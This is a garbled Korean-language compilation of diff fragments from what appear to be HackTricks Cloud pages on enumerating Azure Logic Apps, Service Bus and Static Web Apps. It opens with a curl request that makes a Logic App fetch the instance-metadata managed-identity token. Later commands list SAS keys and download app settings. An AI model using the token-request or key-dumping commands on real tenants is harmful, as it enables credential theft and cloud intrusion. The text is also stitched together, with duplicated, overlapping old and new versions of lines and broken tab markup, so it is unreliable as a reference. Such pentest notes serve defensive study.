curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
|
||||
```
|
||||
### Enumeration
|
||||
### 호스팅 옵션
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
여러 호스팅 옵션이 있습니다:
|
||||
|
||||
* **소비형**
|
||||
- **다중 테넌트**: 공유 컴퓨팅 리소스를 제공하며, 퍼블릭 클라우드에서 운영되고, 작업당 요금 모델을 따릅니다. 이는 경량 및 비용 효율적인 작업에 이상적입니다.
|
||||
* **표준**
|
||||
- **워크플로우 서비스 계획**: 네트워킹을 위한 VNET 통합이 있는 전용 컴퓨팅 리소스와 워크플로우 서비스 계획 인스턴스당 요금을 부과합니다. 이는 더 많은 제어가 필요한 요구가 많은 작업에 적합합니다.
|
||||
- **앱 서비스 환경 V3**: 완전한 격리 및 확장성을 갖춘 전용 컴퓨팅 리소스입니다. 또한 네트워킹을 위해 VNET과 통합되며, 환경 내의 앱 서비스 인스턴스를 기반으로 한 요금 모델을 사용합니다. 이는 높은 격리가 필요한 기업 규모의 애플리케이션에 이상적입니다.
|
||||
- **하이브리드**: 로컬 처리 및 다중 클라우드 지원을 위해 설계되었습니다. 고객 관리형 컴퓨팅 리소스를 로컬 네트워크 액세스와 함께 사용할 수 있으며, Kubernetes 이벤트 기반 자동 확장(KEDA)을 활용합니다.
|
||||
|
||||
### 열거
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# List
|
||||
az logic workflow list --resource-group <ResourceGroupName> --subscription <SubscriptionID> --output table
|
||||
az logic workflow list --resource-group <ResourceGroupName>
|
||||
# Get info
|
||||
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
|
||||
# Get Logic App config
|
||||
az logic workflow definition show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
|
||||
# Get service ppal used
|
||||
az logic workflow identity show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
|
||||
```
|
||||
{{#endtab }}
|
||||
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName>
|
||||
|
||||
{{#tab name="Az PowerSHell" }}
|
||||
# Get details of a specific Logic App workflow, including its connections and parameters
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}?api-version=2016-10-01&$expand=connections.json,parameters.json" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
# Get details about triggers for a specific Logic App
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers?api-version=2016-06-01"
|
||||
|
||||
# Get the callback URL for a specific trigger in a Logic App
|
||||
az rest --method POST \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/listCallbackUrl?api-version=2016-06-01"
|
||||
|
||||
# Get the history of a specific trigger in a Logic App
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/histories?api-version=2016-06-01"
|
||||
|
||||
# List all runs of a specific Logic App workflow
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs?api-version=2016-06-01" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
# Get all actions within a specific run of a Logic App workflow
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/runs/{runName}/actions?api-version=2016-06-01" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
# List all versions of a specific Logic App workflow
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions?api-version=2016-06-01" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
# Get details of a specific version of a Logic App workflow
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{workflowName}/versions/{versionName}?api-version=2016-06-01" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://examplelogicapp1994.scm.azurewebsites.net/api/functions/admin/download?includeCsproj=true&includeAppSettings=true" \
|
||||
--headers "Content-Type=application/json"
|
||||
|
||||
# List all Logic Apps in the specified resource group
|
||||
az logicapp list --resource-group <ResourceGroupName>
|
||||
|
||||
# Show detailed information about a specific Logic App
|
||||
az logicapp show --name <LogicAppName> --resource-group <ResourceGroupName>
|
||||
|
||||
# List all application settings for a specific Logic App
|
||||
az logicapp config appsettings list --name <LogicAppName> --resource-group <ResourceGroupName>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
Get-Command -Module Az.LogicApp
|
||||
|
||||
# List
|
||||
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
|
||||
# Get info
|
||||
Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>
|
||||
# Get Logic App config
|
||||
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Definition | ConvertTo-Json
|
||||
# Get service ppal used
|
||||
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Identity
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
# Get details of a specific Logic App workflow run action
|
||||
Get-AzLogicAppRunAction -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -RunName "<RunName>"
|
||||
|
||||
# Get the run history for a specific Logic App
|
||||
Get-AzLogicAppRunHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"
|
||||
|
||||
# Get details about triggers for a specific Logic App
|
||||
Get-AzLogicAppTrigger -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>"
|
||||
|
||||
# Get the callback URL for a specific trigger in a Logic App
|
||||
Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "<ResourceGroupName>" -LName "<LogicAppName>" -TriggerName "<TriggerName>"
|
||||
|
||||
# Get the history of a specific trigger in a Logic App
|
||||
Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<LogicAppName>" -TriggerName "<TriggerName>"
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
|
||||
|
||||
### 통합 계정
|
||||
**통합 계정**은 Azure Logic Apps의 기능입니다. 통합 계정은 EDI, AS2 및 XML 스키마 관리와 같은 고급 B2B 기능을 활성화하여 기업 수준의 통합을 용이하게 합니다. 통합 계정은 Logic Apps에 사용되는 다음 아티팩트를 저장하는 Azure의 컨테이너입니다:
|
||||
|
||||
* 스키마: 통합 계정에서 메시지를 검증하고 처리하기 위한 XML 스키마를 관리합니다.
|
||||
* 맵: 통합 워크플로 내에서 데이터 형식을 변환하기 위해 XSLT 기반 변환을 구성합니다.
|
||||
* 어셈블리: 논리 및 데이터 처리를 간소화하기 위해 통합 계정 어셈블리를 관리합니다.
|
||||
* 인증서: 메시지를 암호화하고 서명하기 위한 인증서를 처리하여 안전한 통신을 보장합니다.
|
||||
* 파트너: B2B 거래를 위한 거래 파트너 정보를 관리하여 원활한 통합을 가능하게 합니다.
|
||||
* 계약: 거래 파트너와 데이터 교환을 위한 규칙 및 설정을 구성합니다 (예: EDI, AS2).
|
||||
* 배치 구성: 메시지를 효율적으로 그룹화하고 처리하기 위한 배치 처리 구성을 관리합니다.
|
||||
* RosettaNet PIP: B2B 통신을 표준화하기 위해 RosettaNet 파트너 인터페이스 프로세스(PIPs)를 구성합니다.
|
||||
|
||||
#### 열거
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Integration account
|
||||
az logic integration-account list --resource-group <resource-group-name>
|
||||
az logic integration-account show --resource-group <resource-group-name> --name <integration-account-name>
|
||||
az logic integration-account list-callback-url --resource-group <resource-group-name> --integration-account-name <integration-account-name>
|
||||
|
||||
# Batch-configuration
|
||||
az logic integration-account batch-configuration list \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account-name <integration-account-name>
|
||||
|
||||
az logic integration-account batch-configuration show \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account-name <integration-account-name> \
|
||||
--batch-configuration-name <batch-configuration-name>
|
||||
|
||||
# Map
|
||||
az logic integration-account map list \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name>
|
||||
|
||||
az logic integration-account map show \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name> \
|
||||
--map-name <map-name>
|
||||
|
||||
# Partner
|
||||
az logic integration-account partner list \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name>
|
||||
|
||||
az logic integration-account partner show \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name> \
|
||||
--name <partner-name>
|
||||
|
||||
# Session
|
||||
az logic integration-account session list \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name>
|
||||
|
||||
az logic integration-account session show \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name> \
|
||||
--name <session-name>
|
||||
|
||||
# Assembly
|
||||
# Session
|
||||
az logic integration-account assembly list \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name>
|
||||
|
||||
az logic integration-account assembly show \
|
||||
--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name> \
|
||||
--assembly-artifact-name <assembly-name>
|
||||
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.LogicApp
|
||||
|
||||
# Retrieve details of an integration account
|
||||
Get-AzIntegrationAccount -ResourceGroupName <resource-group-name> -Name <integration-account-name>
|
||||
|
||||
# Retrieve the callback URL of an integration account
|
||||
Get-AzIntegrationAccountCallbackUrl -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name>
|
||||
|
||||
# Retrieve details of a specific agreement in an integration account
|
||||
Get-AzIntegrationAccountAgreement -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <agreement-name>
|
||||
|
||||
# Retrieve details of a specific assembly in an integration account
|
||||
Get-AzIntegrationAccountAssembly -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <assembly-name>
|
||||
|
||||
# Retrieve details of a specific batch configuration in an integration account
|
||||
Get-AzIntegrationAccountBatchConfiguration -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <batch-configuration-name>
|
||||
|
||||
# Retrieve details of a specific certificate in an integration account
|
||||
Get-AzIntegrationAccountCertificate -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <certificate-name>
|
||||
|
||||
# Retrieve details of a specific map in an integration account
|
||||
Get-AzIntegrationAccountMap -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <map-name>
|
||||
|
||||
# Retrieve details of a specific partner in an integration account
|
||||
Get-AzIntegrationAccountPartner -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <partner-name>
|
||||
|
||||
# Retrieve details of a specific schema in an integration account
|
||||
Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <schema-name>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
|
||||
## 권한 상승
|
||||
|
||||
로직 앱 권한 상승과 동일:
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %}
|
||||
[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 포스트 익스플로잇
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %}
|
||||
[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
@@ -4,28 +4,28 @@
|
||||
|
||||
## Service Bus
|
||||
|
||||
Azure Service Bus는 **애플리케이션의 다양한 부분 또는 별도의 애플리케이션 간의 신뢰할 수 있는 **통신을 가능하게 하기 위해 설계된 클라우드 기반 **메시징 서비스**입니다. 이는 안전한 중개자로 작용하여 발신자와 수신자가 동시에 작동하지 않더라도 메시지가 안전하게 전달되도록 보장합니다. 시스템을 분리함으로써 애플리케이션이 독립적으로 작동하면서도 데이터나 지침을 교환할 수 있게 합니다. 이는 여러 작업자 간의 부하 분산, 신뢰할 수 있는 메시지 전달 또는 순서대로 작업을 처리하거나 안전하게 액세스를 관리하는 것과 같은 복잡한 조정이 필요한 시나리오에 특히 유용합니다.
|
||||
Azure Service Bus는 **애플리케이션의 다양한 부분 또는 별도의 애플리케이션 간의 신뢰할 수 있는 **통신을 가능하게 하기 위해 설계된 클라우드 기반 **메시징 서비스**입니다. 이는 안전한 중개자로 작용하여 발신자와 수신자가 동시에 작동하지 않더라도 메시지가 안전하게 전달되도록 보장합니다. 시스템을 분리함으로써 애플리케이션이 독립적으로 작동하면서도 데이터나 지침을 교환할 수 있게 합니다. 이는 여러 작업자 간의 부하 분산, 신뢰할 수 있는 메시지 전달 또는 작업을 순서대로 처리하거나 안전하게 접근을 관리하는 것과 같은 복잡한 조정이 필요한 시나리오에 특히 유용합니다.
|
||||
|
||||
### Key Concepts
|
||||
|
||||
1. **Queues:** 그 목적은 수신자가 준비될 때까지 메시지를 저장하는 것입니다.
|
||||
- 메시지는 정렬되고, 타임스탬프가 찍히며, 내구성 있게 저장됩니다.
|
||||
- 메시지는 순서가 있으며, 타임스탬프가 붙고, 내구성이 있게 저장됩니다.
|
||||
- 풀 모드(요청 시 검색)로 전달됩니다.
|
||||
- 포인트 투 포인트 통신을 지원합니다.
|
||||
2. **Topics:** 방송을 위한 게시-구독 메시징입니다.
|
||||
- 여러 독립적인 구독이 메시지의 복사본을 수신합니다.
|
||||
- 구독은 전달을 제어하거나 메타데이터를 추가하기 위한 규칙/필터를 가질 수 있습니다.
|
||||
- 다대다 통신을 지원합니다.
|
||||
3. **Namespaces:** 모든 메시징 구성 요소, 큐 및 주제를 위한 컨테이너로, 강력한 Azure 클러스터의 자신의 슬라이스와 같으며, 전용 용량을 제공하고 선택적으로 세 개의 가용성 영역에 걸쳐 확장할 수 있습니다.
|
||||
3. **Namespaces:** 모든 메시징 구성 요소, 큐 및 주제를 위한 컨테이너로, 강력한 Azure 클러스터의 자신의 조각과 같으며, 전용 용량을 제공하고 선택적으로 세 개의 가용성 영역에 걸쳐 있습니다.
|
||||
|
||||
### Advance Features
|
||||
|
||||
일부 고급 기능은 다음과 같습니다:
|
||||
|
||||
- **Message Sessions**: FIFO 처리를 보장하고 요청-응답 패턴을 지원합니다.
|
||||
- **Auto-Forwarding**: 동일한 네임스페이스 내에서 큐 또는 주제 간에 메시지를 전송합니다.
|
||||
- **Auto-Forwarding**: 동일한 네임스페이스 내에서 큐 또는 주간 메시지를 전송합니다.
|
||||
- **Dead-Lettering**: 배달할 수 없는 메시지를 검토를 위해 캡처합니다.
|
||||
- **Scheduled Delivery**: 미래의 작업을 위해 메시지 처리를 지연시킵니다.
|
||||
- **Scheduled Delivery**: 미래 작업을 위해 메시지 처리를 지연시킵니다.
|
||||
- **Message Deferral**: 준비될 때까지 메시지 검색을 연기합니다.
|
||||
- **Transactions**: 작업을 원자적 실행으로 그룹화합니다.
|
||||
- **Filters & Actions**: 메시지를 필터링하거나 주석을 추가하기 위한 규칙을 적용합니다.
|
||||
@@ -35,13 +35,13 @@ Azure Service Bus는 **애플리케이션의 다양한 부분 또는 별도의
|
||||
|
||||
### Authorization-Rule / SAS Policy
|
||||
|
||||
SAS 정책은 Azure Service Bus 엔터티 네임스페이스(가장 중요한 것), 큐 및 주제에 대한 액세스 권한을 정의합니다. 각 정책은 다음 구성 요소를 가집니다:
|
||||
SAS 정책은 Azure Service Bus 엔터티 네임스페이스(가장 중요한 것), 큐 및 주제에 대한 접근 권한을 정의합니다. 각 정책은 다음 구성 요소를 가집니다:
|
||||
|
||||
- **Permissions**: 액세스 수준을 지정하기 위한 체크박스:
|
||||
- **Permissions**: 접근 수준을 지정하는 체크박스:
|
||||
- Manage: 엔터티에 대한 전체 제어를 부여하며, 구성 및 권한 관리를 포함합니다.
|
||||
- Send: 엔터티에 메시지를 전송할 수 있습니다.
|
||||
- Listen: 엔터티로부터 메시지를 수신할 수 있습니다.
|
||||
- **Primary and Secondary Keys**: 액세스 인증을 위한 보안 토큰을 생성하는 데 사용되는 암호화 키입니다.
|
||||
- **Primary and Secondary Keys**: 접근 인증을 위한 보안 토큰을 생성하는 데 사용되는 암호화 키입니다.
|
||||
- **Primary and Secondary Connection Strings**: 애플리케이션에서 쉽게 사용할 수 있도록 엔드포인트와 키를 포함한 미리 구성된 연결 문자열입니다.
|
||||
- **SAS Policy ARM ID**: 프로그래밍적 식별을 위한 정책의 Azure Resource Manager (ARM) 경로입니다.
|
||||
|
||||
@@ -50,6 +50,10 @@ SAS 정책은 Azure Service Bus 엔터티 네임스페이스(가장 중요한
|
||||
sku, authrorization rule,
|
||||
|
||||
### Enumeration
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Queue Enumeration
|
||||
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
@@ -77,6 +81,58 @@ az servicebus queue authorization-rule list --resource-group <MyResourceGroup> -
|
||||
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
|
||||
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.ServiceBus
|
||||
|
||||
# Retrieves details of a Service Bus namespace, including V2-specific features like additional metrics or configurations.
|
||||
Get-AzServiceBusNamespaceV2 -ResourceGroupName <ResourceGroupName> -Name <NamespaceName>
|
||||
|
||||
# Retrieves the authorization rules for a Service Bus namespace, queue, or topic.
|
||||
Get-AzServiceBusAuthorizationRule -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves the Geo-Disaster Recovery configuration for a Service Bus namespace, if it is enabled.
|
||||
Get-AzServiceBusGeoDRConfiguration -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves the shared access keys for a specified authorization rule in a Service Bus namespace.
|
||||
Get-AzServiceBusKey -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -Name <RuleName>
|
||||
|
||||
# Retrieves the migration state and details for a Service Bus namespace, if a migration is in progress.
|
||||
Get-AzServiceBusMigration -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves properties and details about a Service Bus namespace.
|
||||
Get-AzServiceBusNamespace -ResourceGroupName <ResourceGroupName> -Name <NamespaceName>
|
||||
|
||||
# Retrieves the network rule set for a Service Bus namespace, such as IP restrictions or virtual network access rules.
|
||||
Get-AzServiceBusNetworkRuleSet -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves private endpoint connections for a Service Bus namespace.
|
||||
Get-AzServiceBusPrivateEndpointConnection -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves private link resources associated with a Service Bus namespace.
|
||||
Get-AzServiceBusPrivateLink -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves details of a specified queue in a Service Bus namespace.
|
||||
Get-AzServiceBusQueue -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -Name <QueueName>
|
||||
|
||||
# Retrieves rules (filters and actions) for a subscription under a Service Bus topic.
|
||||
Get-AzServiceBusRule -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -TopicName <TopicName> -SubscriptionName <SubscriptionName>
|
||||
|
||||
# Retrieves details of subscriptions for a specified Service Bus topic.
|
||||
Get-AzServiceBusSubscription -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -TopicName <TopicName>
|
||||
|
||||
# Retrieves details of a specified topic in a Service Bus namespace.
|
||||
Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
|
||||
### 권한 상승
|
||||
|
||||
{{#ref}}
|
||||
|
||||
@@ -4,16 +4,16 @@
|
||||
|
||||
## Static Web Apps Basic Information
|
||||
|
||||
Azure Static Web Apps는 **GitHub와 같은 리포지토리에서 자동 CI/CD를 통해 정적 웹 앱을 호스팅하는 클라우드 서비스**입니다. 글로벌 콘텐츠 전송, 서버리스 백엔드 및 내장 HTTPS를 제공하여 안전하고 확장 가능합니다. 그러나 서비스가 "정적"이라고 해서 완전히 안전하다는 의미는 아닙니다. 위험 요소로는 잘못 구성된 CORS, 불충분한 인증 및 콘텐츠 변조가 있으며, 적절히 관리되지 않으면 XSS 및 데이터 유출과 같은 공격에 노출될 수 있습니다.
|
||||
Azure Static Web Apps는 **GitHub와 같은 리포지토리에서 자동 CI/CD를 통해 정적 웹 앱을 호스팅하는 클라우드 서비스**입니다. 전 세계 콘텐츠 배포, 서버리스 백엔드 및 내장 HTTPS를 제공하여 안전하고 확장 가능합니다. 그러나 서비스가 "정적"이라고 해서 완전히 안전하다는 의미는 아닙니다. 위험 요소로는 잘못 구성된 CORS, 불충분한 인증 및 콘텐츠 변조가 있으며, 적절히 관리되지 않으면 XSS 및 데이터 유출과 같은 공격에 노출될 수 있습니다.
|
||||
|
||||
### Deployment Authentication
|
||||
|
||||
> [!TIP]
|
||||
> Static App이 생성될 때 **배포 인증 정책**으로 **배포 토큰**과 **GitHub Actions 워크플로우** 중에서 선택할 수 있습니다.
|
||||
|
||||
- **배포 토큰**: 토큰이 생성되어 배포 프로세스를 인증하는 데 사용됩니다. **이 토큰만 있으면 앱의 새 버전을 배포할 수 있습니다**. 리포지토리가 업데이트될 때마다 앱의 새 버전을 배포하기 위해 비밀에 토큰이 포함된 **Github Action이 자동으로 리포에 배포됩니다**.
|
||||
- **GitHub Actions 워크플로우**: 이 경우 매우 유사한 Github Action이 리포에 배포되며 **토큰도 비밀에 저장됩니다**. 그러나 이 Github Action은 **`actions/github-script@v6`** 액션을 사용하여 리포지토리의 IDToken을 가져오고 이를 사용하여 앱을 배포하는 차이점이 있습니다.
|
||||
- 두 경우 모두 **`Azure/static-web-apps-deploy@v1`** 액션이 `azure_static_web_apps_api_token` 매개변수에 있는 토큰과 함께 사용되지만, 두 번째 경우에는 `github_id_token` 매개변수의 IDToken으로 인증이 이루어지므로 `12345cbb198a77a092ff885781a62a15d51ef5e3654ca11234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345`와 같은 유효한 형식의 임의 토큰만으로도 앱을 배포할 수 있습니다.
|
||||
- **배포 토큰**: 토큰이 생성되어 배포 프로세스를 인증하는 데 사용됩니다. **이 토큰만 있으면 앱의 새 버전을 배포할 수 있습니다**. 리포지토리가 업데이트될 때마다 앱의 새 버전을 배포하기 위해 비밀에 토큰이 포함된 **Github Action이 자동으로 리포지토리에 배포됩니다**.
|
||||
- **GitHub Actions 워크플로우**: 이 경우 매우 유사한 Github Action이 리포지토리에 배포되며 **토큰도 비밀에 저장됩니다**. 그러나 이 Github Action은 차이가 있으며, **`actions/github-script@v6`** 액션을 사용하여 리포지토리의 IDToken을 가져오고 이를 사용하여 앱을 배포합니다.
|
||||
- 두 경우 모두 **`Azure/static-web-apps-deploy@v1`** 액션이 `azure_static_web_apps_api_token` 매개변수에 있는 토큰과 함께 사용되지만, 두 번째 경우에는 `github_id_token` 매개변수의 IDToken으로 인증이 이루어지므로 `12345cbb198a77a092ff885781a62a15d51ef5e3654ca11234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345`와 같은 유효한 형식의 임의의 토큰만으로도 앱을 배포할 수 있습니다.
|
||||
|
||||
### Web App Basic Authentication
|
||||
|
||||
@@ -62,20 +62,24 @@ az rest --method GET \
|
||||
}
|
||||
}
|
||||
```
|
||||
경로를 **역할로 보호**할 수 있는 방법에 유의하세요. 그러면 사용자는 앱에 인증하고 해당 역할을 부여받아야 경로에 접근할 수 있습니다. 또한, **초대장을 생성**하여 EntraID, Facebook, GitHub, Google, Twitter를 통해 로그인하는 특정 사용자에게 특정 역할을 부여할 수 있으며, 이는 앱 내에서 권한을 상승시키는 데 유용할 수 있습니다.
|
||||
노트: **역할로 경로를 보호하는 것이 가능**하다는 점에 유의하세요. 그러면 사용자는 앱에 인증하고 해당 역할을 부여받아야 경로에 접근할 수 있습니다. 또한, **초대장을 생성하여 특정 사용자에게 특정 역할을 부여**하는 것도 가능하며, 이는 EntraID, Facebook, GitHub, Google, Twitter를 통해 로그인하는 사용자에게 유용할 수 있습니다. 이를 통해 앱 내에서 권한을 상승시킬 수 있습니다.
|
||||
|
||||
> [!TIP]
|
||||
> `staticwebapp.config.json` 파일에 대한 **변경 사항이 수용되지 않도록 앱을 구성할 수 있습니다**. 이 경우, 단순히 Github에서 파일을 변경하는 것만으로는 충분하지 않을 수 있으며, **앱의 설정을 변경해야 할 수도 있습니다**.
|
||||
> 앱을 구성하여 **`staticwebapp.config.json`** 파일에 대한 변경 사항이 수용되지 않도록 설정할 수 있다는 점에 유의하세요. 이 경우, 단순히 Github에서 파일을 변경하는 것만으로는 충분하지 않을 수 있으며, **앱의 설정을 변경해야 할 수도 있습니다**.
|
||||
|
||||
스테이징 URL은 다음 형식을 가집니다: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` 예: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
|
||||
### 관리형 ID
|
||||
|
||||
Azure Static Web Apps는 **관리형 ID**를 사용하도록 구성할 수 있지만, [이 FAQ](https://learn.microsoft.com/en-gb/azure/static-web-apps/faq#does-static-web-apps-support-managed-identity-)에서 언급했듯이 인증 목적으로 Azure Key Vault에서 비밀을 **추출하는 것만 지원되며, 다른 Azure 리소스에 접근하는 것은 지원되지 않습니다**.
|
||||
Azure Static Web Apps는 **관리형 ID**를 사용하도록 구성할 수 있지만, [이 FAQ](https://learn.microsoft.com/en-gb/azure/static-web-apps/faq#does-static-web-apps-support-managed-identity-)에서 언급했듯이, 인증 목적으로 Azure Key Vault에서 비밀을 **추출하는 것만 지원**되며, 다른 Azure 리소스에 접근하는 것은 지원되지 않습니다.
|
||||
|
||||
